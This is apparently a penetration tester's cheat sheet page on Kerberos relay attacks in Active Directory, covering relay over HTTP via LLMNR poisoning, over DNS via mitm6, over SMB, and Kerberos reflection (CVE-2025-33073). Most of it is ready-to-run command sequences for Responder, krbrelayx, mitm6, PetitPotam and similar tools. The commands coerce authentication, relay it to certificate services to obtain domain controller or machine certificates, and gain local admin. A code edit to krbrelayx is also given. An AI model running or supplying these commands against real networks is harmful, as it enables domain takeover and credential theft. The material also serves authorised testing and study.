// Internal · Active Directory

Internal - Kerberos Relay

Internal - Kerberos Relay

Kerberos Relay over HTTP

Requirements:

  • Kerberos authentication for services without signing

HTTP through multicast poisoning (LLMNR)

  • An attacker sets up an LLMNR poisoner on the multicast range.
  • An HTTP client on the multicast range fails to resolve a hostname. This can happen because of a typo in a browser, a misconfiguration, but this can also be triggered by an attacker via WebDav coercion.
  • The LLMNR poisoner indicates that the hostname resolves to the attacker’s machine. In the LLMNR response, the answer name differs from the query and corresponds to an arbitrary relay target.
  • The victim performs a request on the attacker web server, which requires Kerberos authentication.
  • The victim asks for a ST with the SPN of the relay target. It then sends the resulting AP-REQ to the attacker web server.
  • The attacker extracts the AP-REQ and relays it to a service of the relay target.

Example: ESC8 with Kerberos Relay

python3 Responder.py -I eth0 -N <PKI_SERVER_NETBIOS_NAME>
sudo python3 krbrelayx.py --target 'http://<PKI_SERVER>.<DOMAIN.LOCAL>/certsrv/' -ip <ATTACKER_IP> --adcs --template User -debug

Kerberos Relay over DNS

Abuses the DNS Secure Dynamic Updates in Active Directory.

Steps:

  • The client queries for the Start Of Authority (SOA) record for it’s name, which indicates which server is authoritative for the domain the client is in.
  • The server responds with the DNS server that is authorative, in this case the DC icorp-dc.internal.corp.
  • The client attempts a dynamic update on the A record with their name in the zone internal.corp.
  • This dynamic update is refused by the server because no authentication is provided.
  • The client uses a TKEY query to negotiate a secret key for authenticated queries.
  • The server answers with a TKEY Resource Record, which completes the authentication.
  • The client sends the dynamic update again, but now accompanied by a TSIG record, which is a signature using the key established in steps 5 and 6.
  • The server acknowledges the dynamic update. The new DNS record is now in place.
# Example - Relay to ADCS - ESC8
sudo krbrelayx.py --target http://adscert.internal.corp/certsrv/ -ip 192.168.111.80 --victim icorp-w10.internal.corp --adcs --template Machine
sudo mitm6 --domain internal.corp --host-allowlist icorp-w10.internal.corp --relay adscert.internal.corp -v
python gettgtpkinit.py -pfx-base64 MIIRFQIBA..cut...lODSghScECP5hGFE3PXoz internal.corp/icorp-w10$ icorp-w10.ccache

Kerberos Relay over SMB

Abuses the way SMB clients construct SPNs when asking for a ST.

dnstool.py -u "DOMAIN.LOCAL\\user" -p "pass" -r "pki1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.10.10" --action add "10.10.10.11" --tcp
petitpotam.py -u 'user' -p 'pass' -d DOMAIN.LOCAL 'pki1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc.domain.local
krbrelayx.py -t 'http://pki.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC$'
gettgtpkinit.py -cert-pfx 'DC$.pfx' 'DOMAIN.LOCAL/DC$' DC.ccache

Kerberos Reflection - CVE-2025-33073

Relay one machine to itself by using the 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA trick. Also, grants local admin privilege.

reflective-kerberos-relay-attack

  • Add a DNS record for [SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA pointing to our IP address. It is also possible to compromise any vulnerable machine by registering localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.

    dnstool.py -u 'domain.local\username' -p 'P@ssw0rd' 10.10.10.10 -a add -r target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 198.51.100.27
    # OR
    pretender -i "vmnet2" --spoof "target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" --no-dhcp --no-timestamps
  • Edit krbrelayx/lib/servers/smbrelayserver.py and remove these lines

    156: blob['tokenOid'] = '1.3.6.1.5.5.2'
    157: blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
    158:                                                MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
    159:                                                MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
  • Start the relay to catch the callback from TARGET.

    krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
    krbrelayx.py --target smb://target.lab.redteam -c whoam
  • Trigger a callback from the server to [SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA using PetitPotam.

    nxc smb TARGET.domain.local -u username -p 'P@ssw0rd' -M coerce_plus -o M=Petitpotam LISTENER=target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
    # OR
    petitpotam.py -d domain.local -u username -p 'password' "TARGET1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" "TARGET.DOMAIN.LOCAL"
    # OR
    wspcoerce 'lab.redteam/user:password@target.lab.redteam' file:////target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA/path

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.